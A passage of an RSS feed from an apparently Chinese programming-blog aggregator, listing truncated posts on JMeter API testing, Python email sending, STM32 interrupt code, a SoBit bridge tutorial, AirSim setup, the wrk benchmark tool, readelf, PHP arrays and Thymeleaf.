⽤例数的20%-30% ● 团队规模： ○ 互联⽹项⽬： ■ 测试开发⽐： 1： 3 —— 1:5 甚⾄1:7 ■ ⼩项⽬： 1-3个测试⼈员，开发⼈员⼤概为4-15⼈，产品经理与测试基本⼀致（基本1-3⼈） ■ 中项⽬：测试⼈员5⼈以上 ○ 传统项⽬： ■ 银⾏类型的项⽬：（⼈员密集型）测试开发⽐： 1-3左右 二、Linux命令 2.</description>
    </item>
    <item>
      <title>利用Jmeter做接口测试（功能测试）全流程分析！</title>
      <link>https://bchobby.github.io/posts/612e41ae1394a7e01f18e1bb94bdca30/</link>
      <pubDate>Tue, 26 Dec 2023 20:15:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/612e41ae1394a7e01f18e1bb94bdca30/</guid>
      <description>利用Jmeter做接口测试怎么做呢？过程真的是超级简单。&#xA;明白了原理以后，把零碎的知识点填充进去就可以了。所以在学习的过程中，不管学什么，我一直都强调的是要循序渐进，和明白原理和逻辑。这篇文章就来介绍一下如何利用Jmeter做接口测试的流程，主要针对的是功能测试。暂不涉及到自动化测试和性能测试的内容。&#xA;一把来说，主要的步骤都大差不差。&#xA;第一步：通过分析API文档和需求文档提取接口清单。&#xA;也就是说，接口测试工作人员工作的开始就是从API文档和需求文档开始的。所以进入公司的第一件事情就是要拿到API文档和需求文档来了解，来看，来分析。从其中提取接口清单的话，主要是因为API文档中有很多冗余，不必要的信息。这些信息可能对于开发人员是有用的，但是对于我们测试人员是没有用的，所以要去除冗余，提取关键信息。&#xA;那么怎么提取呢？方法也很简单，从功能模块和方法模块对API文档中的内容进行提炼，提炼的关键是接口三要素：url+方法+参数+返回值。我的建议是可以先将所有的url提取出来，基本上一个url就是对应一个接口的，这样一条线把整体拎起来，就感觉混乱的局面清晰多了。&#xA;当然工作中，有的时候我们是可以直接拿到接口清单的，因为清单这个事情一个团队做一份就好了，并不是说要每个人都做一份。但是我们自己得会，得有这个能力。之前看到过一个面试题，问的是，如果没有API文档，怎么做接口测试？&#xA;其实问的就是如果没有API文档，应该怎么提取接口清单的问题。很简单，根据需求文档和原型图来提取。有的公司不正规，确实是没有API文档的。或者有的公司API文档写的不规范，那提取的时候，就很考验测试人员的经验和能力了。所以如果能找到遵循restful风格写的优秀API文档，那就好了，提取的时候很方便。&#xA;第二步：针对接口清单，做单接口测试和关联接口测试。&#xA;在实际测试过程中，单接口测试和关联接口测试的时间是不一样的，这涉及到业务逻辑测试和功能点测试等。但是在测试的时候，他们的逻辑和方法是类似的。&#xA;当然这里主要介绍的是单接口测试，因为单接口测试时会考虑各种可能的情况，而关联接口测试一般是建立在单接口没有问题的前提下的。换个角度来说，就相当于是两个层次，单接口测试是基础，而关联接口测试是拔高。&#xA;那么具体应该怎么做呢？比如我们这里已经选定而来某一个接口来测试。&#xA;现在我也找了很多测试的朋友，做了一个分享技术的交流群，共享了很多我们收集的技术文档和视频教程。 如果你不想再体验自学时找不到资源，没人解答问题，坚持几天便放弃的感受 可以加入我们一起交流。而且还有很多在自动化，性能，安全，测试开发等等方面有一定建树的技术大牛 分享他们的经验，还会分享很多直播讲座和技术沙龙 可以免费学习！划重点！开源的！！！ qq群号：691998057【暗号：csdn999】 首先，根据选定的接口来搭建测试框架。&#xA;接口不是什么大不了的事情，无非就是url、方法、参数、返回数据这四块。这样就意味着，一个接口的框架是固定的，只不过每次传输的数据和返回的数据可能会不一样而已。所以我们要做的第一步就是搭建测试框架。&#xA;那么怎么搭建呢？这里就要用到从API文档中整理出来的接口清单和Jmeter了。从接口清单里，可以拿到当下接口的url+方法+参数+预期返回数据。这就是我们搭建测试框架的依据。接下来用Jmeter搭建。&#xA;首先需要打开Jmeter，然后基于测试计划，创建线程组，基于线程组创建HTTP请求。考虑到单接口测试，一个框架，要测试N多个数据，而且后面的接口可能也要用到同样的ip地址、同样的content-type，所以一般会先创建一个HTTP请求默认值，将一些可能会重复用到的信息填进去，比如说端口号、协议之类的。如有必要还需要添加HTTP信息头管理器，放一些user-agent、content-type等内容。&#xA;好的，有了这两个基础就可以来创建HTTP请求。在新的请求里，已经填写的端口号呀、ip地址呀之类的就无需填写了，只需要填写方法之类的即可。那么搭建框架在哪里搭建呢？一般会考虑para或者body里。比如说，要提交一段json格式的数据，那么就要用body（消息体）来提交，如下图所示。&#xA;将从接口清单里拿到的json数据填写到消息体数据里，然后将需要不断传入的数据进行参数化设置，那搭建测试框架就算是完成了。接下来只需要把数据一条一条传入进行测试即可。&#xA;那么如何把数据进行传入呢？&#xA;其实我们在下面的这篇文章里已经介绍了，传入数据的方法有四种，但主要使用的还是csv data set config 和函数。做功能接口测试，用csv就足够了。那么具体怎么用呢？可以文末领取配套资源！&#xA;基于当前的线程组或者请求创建CSV数据文件配置组件。如果这份数据只有这一个请求会用，那么就基于请求创建即可。如果这份数据会被这个线程组里的多个请求使用，那么就基于线程组创建。&#xA;创建了以后就需要填入文件了呢？可是文件在哪里呢？这个时候就要稍微停一下jmeter的操作，先去针对当前接口设计测试用例并形成有关文档了。有关于功能接口测试的用例设计，我们之后会专门用一篇文章来介绍，这里先带过。这是因为设计测试用例是做测试过程中最核心的一步。&#xA;在测试用例设计完之后，可以将其保存在一个txt文档里，采用utf-8编码，保存到Jmeter脚本的同一父目录下。然后按照上面那篇文章里的设置方法进行设置即可，注意路径可以采用相对路径，便于数据文件的拷贝和使用。&#xA;csv组件设置好以后，数据源有了，变量名有了，变量名的赋值也有了，接下来就只剩引用参数就可以了。在测试框架里需要引用参数的地方引用，引用的格式是${参数名}。到这里，针对于某一个接口的测试工作就准备完成了。&#xA;然后在Jmeter里面添加查看结果树组件，执行请求，依次查看结果。看一看返回的数据和我们的预期结果是否一致，不一致，那可能就是一个bug。&#xA;做一个小小的总结吧，用jmeter做功能接口测试，其实很简单的。逻辑和原理都是类似的，如果遇到新的项目，可能说会用一些新的组件而已，那百度一下几分钟的事情。在学习软件测试的时候，最重要的就是不要怂，不要看起来说怎么要学的东子这么杂这么多，只要能够拎出其中的线索和主干，然后把一些零碎的点给组装上去，就会感觉，哇，忽然之间，好有条理。&#xA;END今天的分享就到此结束了！点赞关注不迷路~！</description>
    </item>
    <item>
      <title>Python如何实现邮件的发送</title>
      <link>https://bchobby.github.io/posts/601d84aded76565967965a2894aeb142/</link>
      <pubDate>Tue, 26 Dec 2023 20:06:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/601d84aded76565967965a2894aeb142/</guid>
      <description>python笔记- 发送邮件&#xA;依赖：&#xA;Python代码实现发送邮件，使用的模块是smtplib、MIMEText，实现代码之前需要导入包：&#xA;import smtplib from email.mime.text import MIMEText 使用163邮件发送邮件，具体代码实现如下：&#xA;import smtplib from email.mime.text import MIMEText &#39;&#39;&#39; 发送邮件函数，默认使用163smtp :param mail_host: 邮箱服务器，16邮箱host: smtp.163.com :param port: 端口号,163邮箱的默认端口是 25 :param username: 邮箱账号 xx@163.com :param passwd: 邮箱密码(不是邮箱的登录密码，是邮箱的授权码) :param recv: 邮箱接收人地址，多个账号以逗号隔开 :param title: 邮件标题 :param content: 邮件内容 :return: &#39;&#39;&#39; def send_mail(username, passwd, recv, title, content, mail_host=&#39;smtp.163.com&#39;, port=25): msg = MIMEText(content) # 邮件内容 msg[&#39;Subject&#39;] = title # 邮件主题 msg[&#39;From&#39;] = username # 发送者账号 msg[&#39;To&#39;] = recv # 接收者账号列表 smtp = smtplib.</description>
    </item>
    <item>
      <title>12.26</title>
      <link>https://bchobby.github.io/posts/e3699fd4e1d295b248dbb03604314de5/</link>
      <pubDate>Tue, 26 Dec 2023 20:04:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e3699fd4e1d295b248dbb03604314de5/</guid>
      <description>key_it.c&#xA;#include&#34;key_it.h&#34; void led_init() { // 设置GPIOE/GPIOF时钟使能 RCC-&amp;gt;MP_AHB4ENSETR |= (0x3 &amp;lt;&amp;lt; 4); // 设置PE10/PE8/PF10为输出模式 GPIOE-&amp;gt;MODER &amp;amp;= (~(0x3 &amp;lt;&amp;lt; 20)); GPIOE-&amp;gt;MODER |= (0x1 &amp;lt;&amp;lt; 20); GPIOE-&amp;gt;MODER &amp;amp;= (~(0x3 &amp;lt;&amp;lt; 16)); GPIOE-&amp;gt;MODER |= (0x1 &amp;lt;&amp;lt; 16); GPIOF-&amp;gt;MODER &amp;amp;= (~(0x3 &amp;lt;&amp;lt; 20)); GPIOF-&amp;gt;MODER |= (0x1 &amp;lt;&amp;lt; 20); // 设置PE10/PE8/PF10为推挽输出 GPIOE-&amp;gt;OTYPER &amp;amp;= (~(0x1 &amp;lt;&amp;lt; 10)); GPIOE-&amp;gt;OTYPER &amp;amp;= (~(0X1 &amp;lt;&amp;lt; 8)); GPIOF-&amp;gt;OTYPER &amp;amp;= (~(0x1 &amp;lt;&amp;lt; 10)); // 设置PE10/PE8/PF10输出速度为低速 GPIOE-&amp;gt;OSPEEDR &amp;amp;= (~(0x3 &amp;lt;&amp;lt; 20)); GPIOE-&amp;gt;OSPEEDR &amp;amp;= (~(0X3 &amp;lt;&amp;lt; 16)); GPIOF-&amp;gt;OSPEEDR &amp;amp;= (~(0x3 &amp;lt;&amp;lt; 20)); // 设置PE10/PE8/PF10无上拉下拉 GPIOE-&amp;gt;PUPDR &amp;amp;= (~(0x3 &amp;lt;&amp;lt; 20)); GPIOE-&amp;gt;PUPDR &amp;amp;= (~(0X3 &amp;lt;&amp;lt; 16)); GPIOF-&amp;gt;PUPDR &amp;amp;= (~(0X3 &amp;lt;&amp;lt; 20)); } void key1_it_config() { //使能GPIOF时钟 RCC-&amp;gt;MP_AHB4ENSETR |= (0x1&amp;lt;&amp;lt;5); //设置PF9管脚为输入 GPIOF-&amp;gt;MODER &amp;amp;= (~(0x3&amp;lt;&amp;lt;18)); //设置PF9作为EXTI9事件的输入 EXTI-&amp;gt;EXTICR3 &amp;amp;= (~(0x1f&amp;lt;&amp;lt;8)); EXTI-&amp;gt;EXTICR3 |= (0x05&amp;lt;&amp;lt;8); //设置下降沿使能检测EXTI9事件 EXTI-&amp;gt;FTSR1 |= (0x1&amp;lt;&amp;lt;9); //设置EXTI9事件不屏蔽 EXTI-&amp;gt;C1IMR1 |= (0x1&amp;lt;&amp;lt;9); //GICD使能EXTI9（99号）中断 GICD-&amp;gt;ISENABLER[3] |= (0x1&amp;lt;&amp;lt;3); //GICD 设置99号中断的优先级 GICD-&amp;gt;IPRIORITYR[24] &amp;amp;= (~(0x1f&amp;lt;&amp;lt;27)); //选择CPU0处理当前中断 GICD-&amp;gt;ITARGETSR[24] |= (0x1&amp;lt;&amp;lt;24); //全局使能组0中断被转发到GICC GICD-&amp;gt;CTRL |= (0X1); //设置中断的优先级掩码 GICC-&amp;gt;PMR |= (0x1f&amp;lt;&amp;lt;3); //允许组0中断被CPU处理 GICC-&amp;gt;CTRL |= (0x1); } void key2_it_config() { //设置PF7管脚为输入 GPIOF-&amp;gt;MODER &amp;amp;= (~(0x3&amp;lt;&amp;lt;14)); //设置PF7作为EXTI7事件的输入 EXTI-&amp;gt;EXTICR2 &amp;amp;= (~(0x1f&amp;lt;&amp;lt;24)); EXTI-&amp;gt;EXTICR2 |= (0x05&amp;lt;&amp;lt;24); //设置下降沿使能检测EXTI7事件 EXTI-&amp;gt;FTSR1 |= (0x1&amp;lt;&amp;lt;7); //设置EXTI7事件不屏蔽 EXTI-&amp;gt;C1IMR1 |= (0x1&amp;lt;&amp;lt;7); //GICD使能EXTI7（97号）中断 GICD-&amp;gt;ISENABLER[3] |= (0x1&amp;lt;&amp;lt;1); //GICD 设置97号中断的优先级 GICD-&amp;gt;IPRIORITYR[24] &amp;amp;= (~(0x1f&amp;lt;&amp;lt;11)); //选择CPU0处理当前中断 GICD-&amp;gt;ITARGETSR[24] |= (0x1&amp;lt;&amp;lt;8); //全局使能组0中断被转发到GICC GICD-&amp;gt;CTRL |= (0X1); //设置中断的优先级掩码 GICC-&amp;gt;PMR |= (0x1f&amp;lt;&amp;lt;3); //允许组0中断被CPU处理 GICC-&amp;gt;CTRL |= (0x1); } void key3_it_config() { //设置PF8管脚为输入 GPIOF-&amp;gt;MODER &amp;amp;= (~(0x3&amp;lt;&amp;lt;16)); //设置PF8作为EXTI8事件的输入 EXTI-&amp;gt;EXTICR3 &amp;amp;= (~0x1f); EXTI-&amp;gt;EXTICR3 |= (0x05); //设置下降沿使能检测EXTI8事件 EXTI-&amp;gt;FTSR1 |= (0x1&amp;lt;&amp;lt;8); //设置EXTI8事件不屏蔽 EXTI-&amp;gt;C1IMR1 |= (0x1&amp;lt;&amp;lt;8); //GICD使能EXTI8（98号）中断 GICD-&amp;gt;ISENABLER[3] |= (0x1&amp;lt;&amp;lt;2); //GICD 设置98号中断的优先级 GICD-&amp;gt;IPRIORITYR[24] &amp;amp;= (~(0x1f&amp;lt;&amp;lt;19)); //选择CPU0处理当前中断 GICD-&amp;gt;ITARGETSR[24] |= (0x1&amp;lt;&amp;lt;16); //全局使能组0中断被转发到GICC GICD-&amp;gt;CTRL |= (0X1); //设置中断的优先级掩码 GICC-&amp;gt;PMR |= (0x1f&amp;lt;&amp;lt;3); //允许组0中断被CPU处理 GICC-&amp;gt;CTRL |= (0x1); } do_irq.</description>
    </item>
    <item>
      <title>一文读懂SoBit 跨链桥教程</title>
      <link>https://bchobby.github.io/posts/ab77c68211b025a5a24b12354b4c7cbb/</link>
      <pubDate>Tue, 26 Dec 2023 20:04:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ab77c68211b025a5a24b12354b4c7cbb/</guid>
      <description>从BTC网络到Solana网络桥接BRC20 1.打开SoBit平台：在您的网络浏览器中启动SoBit Bridge应用程序。&#xA;2.连接您的钱包： 选择SoBit界面右上角的比特币网络来连接您的数字钱包。&#xA;3.选择源链、目标链和您想桥接的代币： 从下拉菜单中选择’BTC’作为源链，’SOL’（Solana）作为目标链。&#xA;4.输入转账细节： 在’数量’字段中指定您希望桥接的BRC20代币数量。确保您的钱包中有足够的余额。如果适用，勾选框以确认服务不适用于美国个人和实体。&#xA;5.铭刻和转移费用： 跟随钱包提示选择合适的铭刻费用。做好准备，Unisat/OKX钱包将要求确认两次。&#xA;6.交易签名： 当铭刻成功时，在您的钱包中确认并支付交易。&#xA;7.交易确认： 一旦转移启动，将生成一个交易ID。您可以在’历史’标签上跟踪状态。&#xA;8.完成桥接过程： 在必要的区块链确认后，交易状态将更新为’完成’，表明代币已成功桥接并可在Solana网络上使用，用户将在早些时候提供的地址中收到扣除适用交易费后的相应代币。&#xA;从Solana网络到BTC网络桥接BRC20 1.打开SoBit平台： 在您的网络浏览器中启动SoBit Bridge。&#xA;2.连接您的钱包： 选择SoBit界面右上角的Solana网络来连接您的数字钱包。&#xA;3.选择源链、目标链和您想桥接的代币： 从下拉菜单中选择’SOL’作为源链，’BTC’作为目标链。&#xA;4.输入转移细节： 输入您想要桥接的代币数量。确保您的Solana钱包中有必要的数量。输入您的BTC接收地址。如果适用，通过勾选框确认服务不适用于美国个人和实体，然后点击’转移’按钮。&#xA;5.确认交易： 将出现一个弹出窗口，要求您在连接的钱包中确认交易细节。这将包括服务费和网络费。在您的钱包中批准交易。一旦您确认，SoBit将处理交易。&#xA;​&#xA;6.交易监控： 交易将出现在’历史’标签中，您可以监控其状态。&#xA;7.完成： 一旦交易确认，状态将更新为’完成’。&#xA;这是实现BRC20到Solana完整桥接生态系统的第一步。我们非常期待社区可能为我们提供的任何反馈。随着我们不断前进，我们致力于持续改进技术并扩展服务，以确保无缝、安全和高效的跨链体验。</description>
    </item>
    <item>
      <title>基于STM32的智慧农业项目(物联网专业毕设)附送源码和文档材料&#43;学习路线</title>
      <link>https://bchobby.github.io/posts/f370dce0c8750ff3090bf2668417e3ef/</link>
      <pubDate>Tue, 26 Dec 2023 19:50:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f370dce0c8750ff3090bf2668417e3ef/</guid>
      <description>文章目录 概要整体架构流程硬件选型软件总体框架技术细节实现效果小结 概要 传统农业存在着产量受到环境因素影响较大的问题，现有的农业监测系统数据太过简单、太过理想化。而随着现代科学的持续发展,一个精准化、自动化的现代智能农产品管理系统将在农业生产中起着日益关键的角色。&#xA;本项目立足于温室大棚，设计一个能够智能控制和远程监控的智慧农业监测系统，实现了感知节点数据采集、上传，以及接收小程序发来的指令，控制水泵、排风扇、暖灯、蜂鸣器等。本系统主要采用低功率单片机stm32f103作为主控芯片，使用DHT11、MQ-2、XH-M214土壤湿度传感器、BH1750光照强度模块，采集温室大棚环境数据，esp8266作为通讯模块，上传至搭建好的MQTT服务器中。利用串口屏可以进行数据的实时显示和控制。小程序基于mpvue框架进行开发，实现了数据显示、命令下发、账户注册、账户登陆功能。使得温室大棚的环境参数能够可视化，并且能远程控制温室大棚内部的执行器。本项目解决了一些农业中信息闭塞，决策迟缓不科学的问题。可以大大提高农业生产效率，增加农业产量。推动地区温室大棚农业经济蓬勃发展。&#xA;整体架构流程 本系统基于stm32单片机和微信小程序，其主要功能包括大棚内部温度、空气湿度、光照强度、大棚内二氧化碳浓度等数据的采集、上传和显示。水泵，风扇，暖灯，报警开关的远程控制。主要模块包含：硬件系统设计（传感器数据的采集、上传、逻辑控制，液晶屏数据显示），软件系统设计（MQTT服务器使用、服务器配置、界面设计）、系统功能实现、系统测试。本系统采用使用stm32单片机和微信小程序，设计包括硬件和软件的智慧农业检测系统。基于传感器、通信、自动化等技术，对农业生产的环境参数和设备进行实时监控。&#xA;硬件选型 软件总体框架 技术细节 主函数代码&#xA;#include &#34;sys.h&#34; #include &#34;delay.h&#34; #include &#34;usart.h&#34; #include &#34;led.h&#34; #include &#34;dht11.h&#34; #include &#34;beep.h&#34; #include &#34;esp8266.h&#34; #include &#34;onenet.h&#34; #include &#34;stdio.h&#34; #include &#34;bh1750.h&#34; #include &#34;adc.h&#34; #include &#34;timer.h&#34; #include &#34;mq2.h&#34; #include &#34;relay.h&#34; #include &#34;fs.h&#34; #include &#34;pump.h&#34; /************************************************ 参考正点原子工程建立的代码 ************************************************/ u8 humidityH;&#x9;//湿度整数部分 u8 humidityL;&#x9;//湿度小数部分 u8 temperatureH; //温度整数部分 u8 temperatureL; //温度小数部分 u8 alarmFlag = 0;//是否报警的标志 u8 alarm_is_free = 10;//报警器是否被手动操作，如果被手动操作即设置为0 u8 ESP8266_INIT_OK = 0;//esp8266初始化完成标志 u8 Led_Status = 0;//led状态 //u16 adcx=0;//adc的初始值 u16 adcx1; u16 shidu; char PUB_BUF[256];//上传数据的buf unsigned char HDMI_BUF[64];//HDMI发送数据buf float Light = 0; //光照度 float co2 = 0; //二氧化碳浓度 float temp = 0; float hum = 0; const char* devSubTopic[] = {&#34;</description>
    </item>
    <item>
      <title>【番外】在Windows安装Airsim/UE4踩坑合集</title>
      <link>https://bchobby.github.io/posts/5f1c4324d73aca21bdfd07847e48a234/</link>
      <pubDate>Tue, 26 Dec 2023 19:46:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5f1c4324d73aca21bdfd07847e48a234/</guid>
      <description>在Windows安装Airsim/UE4踩坑合集 1.安装过程中一定要确保Epic Games Launcher是英文环境，保存路径什么的也尽量是英文。2.UE4中的虚幻引擎一定要安装4.27版本以上的，不然的话最后运行vs的时候会报语法错误，网上根本查不到的那种错误。换了版本之后就正常了。3.Block环境测试的时候：运行指令 `update_from_git.bat` 的时候报错很多文件找不到4.成功在vs2022中运行Blocks.sln之后，程序自动打开UE4引擎，然后点击运行，理论上图像应该出现一架无人机以及球体和锥体。 具体步骤参考知乎大佬宁子安的文章： https://zhuanlan.zhihu.com/p/618440744 或者是airsim官方网站的步骤：&#xA;https://microsoft.github.io/AirSim/build_windows/&#xA;我这里写几个自己安装过程中踩的坑和报的错：&#xA;1.安装过程中一定要确保Epic Games Launcher是英文环境，保存路径什么的也尽量是英文。 2.UE4中的虚幻引擎一定要安装4.27版本以上的，不然的话最后运行vs的时候会报语法错误，网上根本查不到的那种错误。换了版本之后就正常了。 我运行正常的版本为：&#xA;win10 vs2022 UE4（4.27.2） Airsim 1.8.1&#xA;3.Block环境测试的时候：运行指令 update_from_git.bat 的时候报错很多文件找不到 问题在于没有关联虚幻引擎与Airsim，所以没有办法生成测试文件。&#xA;解决步骤：&#xA;一定要确保Epic Games Launcher是英文语言&#xA;把你已经下载好的虚幻引擎设为启动项：&#xA;重启Epic Games Launcher，会弹出一个让你关联的对话框，点确定即可。&#xA;重新运行update_from_git.bat ，即可成功生成Blocks.sln工程文件&#xA;4.成功在vs2022中运行Blocks.sln之后，程序自动打开UE4引擎，然后点击运行，理论上图像应该出现一架无人机以及球体和锥体。 但是我当时报了这个错：Error at startup: Error creating directory, hr=2&#xA;然后点击“OK”之后不出现无人机，其他一切正常。&#xA;github上有解决这个问题的人：&#xA;https://github.com/microsoft/AirSim/issues/1150&#xA;简单地说，就是运行这个工程文件需要有一个settings.json文件支撑这个工程，配置该工程中的各种参数。但是很明显虚幻引擎现在找不到这个文件，无法读取这个文件中的配置。&#xA;所谓的““error creating directory””实际意思就是UE或者airsim没有办法生成文件夹去放置settings.json文件。&#xA;正常情况下，是应该由程序自动生成一个settings.json文件在：&#34;C:\Users\asus\Documents\Airsim&#34;这个目录下面的。但是我们目前手动去找一下发现确实没有。&#xA;所以解决办法就是：&#xA;在&#34;C:\Users\asus\Documents&#34;这个目录下面手动新建一个“Airsim”文件夹&#xA;然后在其中新建一个文本文件，复制下面的代码：&#xA;{ &#34;SettingsVersion&#34;: 1.2, &#34;SimMode&#34;: &#34;Multirotor&#34; } 保存之后，修改后缀名为.json&#xA;再次在UE4中点击“运行”按钮即可成功。成功出现无人机，场景也变得正常了。&#xA;如果想配置其他的功能，比如加上三个不同摄像头角度的窗口，如图：&#xA;就可以修改settings.json文件为：&#xA;{ &#34;SettingsVersion&#34;: 1.2, &#34;SimMode&#34;: &#34;Multirotor&#34;, &#34;</description>
    </item>
    <item>
      <title>轻量级性能测试工具 wrk 如何使用？</title>
      <link>https://bchobby.github.io/posts/7a40113842524fc4c49ad9b96d9ab6db/</link>
      <pubDate>Tue, 26 Dec 2023 19:44:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7a40113842524fc4c49ad9b96d9ab6db/</guid>
      <description>项目设计之初或者是项目快要结束的时候，大佬就会问我们，这个服务性能测试的结果是什么，QPS 可以达到多少，RPS 又能达到多少？接口性能可以满足未来生产环境的实际情况吗？有没有自己测试过自己接口的吞吐量，等等。&#xA;作为开发、测试人员，这些问题不仅仅是用来面试，还是实实在在的落地在实际工作中。很多项目上线初期用户量较小，表面上看是风平浪静，实则暗流涌动，慢慢的用户量上来之后，系统的瓶颈慢慢凸显。曾经挖的坑，最后还是要我们自己来填，若不能及时填上，可能整个产品就这么断送了。&#xA;今天一起来看看轻量级的性能测试工具 wrk 如何使用：&#xA;性能测试相关名词&#xA;QPS每秒查询率 (Query Per Second)：每秒查询率 QPS 是对一个特定的查询服务器在规定时间内所处理流量多少的衡量标准。&#xA;并发用户数：指系统可以同时承载的正常使用系统功能的用户的数量。&#xA;吞吐量 (Throughput)：吞吐量是指系统在单位时间内处理请求的数量。&#xA;响应时间 (RT)：指系统对请求作出响应的时间。&#xA;wrk 是什么？&#xA;wrk 是 github 的一个项目，地址：https://github.com/wg/wrk&#xA;根据官方的说明，wrk 是一个HTTP基准测试工具，当运行在单个多核CPU上时，它能够产生巨大的负载。它结合了多线程设计和可伸缩的事件通知系统，如 epoll 和 kqueue 等等。&#xA;wrk 中的一个可选的 LuaJIT 脚本可以执行 HTTP 请求生成、响应处理和自定义报告。&#xA;wrk 如何使用？&#xA;那么 wrk 如何使用呢，我们就来实操一下看看效果 ， 既然是开源工具，下载安装编译的方式都很类似：&#xA;1、下载 wrk 项目&#xA;git clone https://github.com/wg/wrk.git wrk 2、编译项目&#xA;cd wrk&#xA;make&#xA;3、将编译出来的 wrk 可执行程序放到用户自己的 bin 目录下&#xA;cp wrk /usr/local/sbin/ 4、这个时候，我们就可以开始使用 wrk 工具了&#xA;咱们直接执行 wrk 来看看效果：</description>
    </item>
    <item>
      <title>shell之readelf命令</title>
      <link>https://bchobby.github.io/posts/302cbe9b0a611ba65d925aa95a48a035/</link>
      <pubDate>Tue, 26 Dec 2023 19:31:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/302cbe9b0a611ba65d925aa95a48a035/</guid>
      <description>shell之readelf命令 参数例子 参数 readelf 是一个在 Linux 中用于显示二进制文件内容的工具，特别是 ELF (Executable and Linkable Format) 格式的文件。ELF 格式是 Unix 和 Unix-like 系统（如 Linux）中的主要可执行文件、目标代码、共享库和核心转储格式。&#xA;readelf 命令提供了大量选项，允许用户查看 ELF 文件的详细信息。下面是一些常用的选项：&#xA;1)-a 或 --all: 显示所有信息。这包括文件头、节头、重定位表、符号表等。&#xA;2)-h 或 --file-header: 显示 ELF 文件头信息。&#xA;3)-l 或 --program-headers: 显示程序头信息。这些描述了程序的段如何存储在文件中。&#xA;4)-S 或 --section-headers: 显示节头信息。这些描述了文件中各个段的内容和属性。&#xA;5)-s 或 --symbols: 显示符号表。这包括在 ELF 文件中的所有符号（例如函数和变量名）。&#xA;6)-r 或 --relocations: 显示重定位表信息。这些表包含用于将程序从其执行文件加载到内存中的信息。&#xA;7)-d 或 --dynamic: 显示动态节的内容。这通常包含运行时信息，如需要加载的共享库和动态链接器脚本。&#xA;8)-p 或 --program-header-only: 只显示程序头信息。&#xA;9)-n 或 --section-name: 显示特定节的名称。&#xA;10)-v 或 --version: 显示版本信息。&#xA;11)-V 或 --verbose: 提供详细输出。</description>
    </item>
    <item>
      <title>w16php系列之基础数组</title>
      <link>https://bchobby.github.io/posts/bf5ee76fba15ebb59250bd7e7cbce7b4/</link>
      <pubDate>Tue, 26 Dec 2023 19:05:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bf5ee76fba15ebb59250bd7e7cbce7b4/</guid>
      <description>一、索引数组 概念 索引数组 是指键名为整数的数组。默认情况下，索引数组的键名是从0开始，并依次递增。它主要适用于利用位置（0、1、2……）来标识数组元素的情况。另外，索引数组的键名也可以自己指定&#xA;示例代码 &amp;lt;?php # 索引数组 $arr=[5,1,2]; echo $arr[0]; echo &#39;&amp;lt;hr&amp;gt;&#39;; echo $arr[2]; ?&amp;gt; 输出结果 二、关联数组 概念 关联数组是指键名为字符串的数组。通常情况下，关联数组元素的“键”和“值”之间有一定的业务逻辑关系。&#xA;示例代码 #array()数组基本用法 &amp;lt;?php $age=array(&#34;A&#34;=&amp;gt;&#34;1&#34;,&#34;B&#34;=&amp;gt;&#34;2&#34;,&#34;C&#34;=&amp;gt;&#34;3&#34;); echo &#34;A is &#34; . $age[&#39;A&#39;] . &#34; years old.&#34;; ?&amp;gt; 输出结果 三、遍历数组 3-1.fori循环读取数组中的所有元素 &amp;lt;?php $arr = [&#39;A&#39;, &#39;B&#39;, &#39;C&#39;, &#39;D&#39;]; #count() 统计数组元素个数 $arr_len=count($arr); for($i=0;$i&amp;lt;$arr_len;$i++){ echo $arr[$i]; echo &#34;&amp;lt;br/&amp;gt;&#34;; } ?&amp;gt; 输出结果 3-2.foreach循环读取数组中的所有元素 &amp;lt;?php $arr = [&#39;D&#39;, &#39;B&#39;, &#39;C&#39;, &#39;D&#39;]; foreach($arr as $value ){ echo $value; echo &#34;</description>
    </item>
    <item>
      <title>Spring Boot学习随笔- 第一个Thymeleaf应用（基础语法th:，request、session作用域取值）</title>
      <link>https://bchobby.github.io/posts/d7b7c8ebc71fad0a28d0bed0d8feb065/</link>
      <pubDate>Tue, 26 Dec 2023 18:46:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d7b7c8ebc71fad0a28d0bed0d8feb065/</guid>
      <description>学习视频：【编程不良人】2021年SpringBoot最新最全教程&#xA;第十五章、Thymeleaf Thymeleaf是一种现代化的服务器端Java模板引擎，专门用于Web和独立环境。Thymeleaf在有网络和无网络的环境下皆可运行，即可以让美工在浏览器查看页面的静态效果，也可以让程序员在服务器查看带数据的动态页面效果。它与Spring Boot集成良好，是Spring Boot官方支持的模板引擎之一。&#xA;比较其他模板引擎&#xA;目前主流模板引擎：Thymeleaf、FreeMarker、Groovy和Mustache&#xA;整体来说：FreeMarker在性能方面略有优势，但Thymeleaf在整体上胜出&#xA;注意：jsp可以直接在服务器访问，而Thymeleafa必须要经过控制器跳转访问&#xA;第一个Thymeleafaf网页 引入依赖&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;**spring-boot-starter-thymeleaf**&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; 配置thymeleaf模板配置&#xA;# THYMELEAF (ThymeleafAutoConfiguration) spring: thymeleaf: cache: false # 开启模板缓存（默认值： true ） 开发过程中改成false check-template: true # 检查模板是否存在，然后再呈现 check-template-location: true # 检查模板位置是否正确（默认值 :true ） servlet: content-type: text/html #Content-Type 的值（默认值： text/html ） enabled: true # 开启 MVC Thymeleaf 视图解析（默认值： true ） encoding: UTF-8 # 模板编码 excluded-view-names: # 要被排除在解析之外的视图名称列表，⽤逗号分隔 mode: HTML5 # 要运⽤于模板之上的模板模式。另⻅ StandardTemplate-ModeHandlers( 默认值： HTML5) prefix: # 在构建 URL 时添加到视图名称前的前缀（默认值： classpath:/templates/ ） suffix: # 在构建 URL 时添加到视图名称后的后缀（默认值： .</description>
    </item>
    <item>
      <title>基于WINAPI的CPP进程与线程使用</title>
      <link>https://bchobby.github.io/posts/104b32c2f84e64fdec8efb974624c208/</link>
      <pubDate>Tue, 26 Dec 2023 18:19:08 +0800</pubDate>
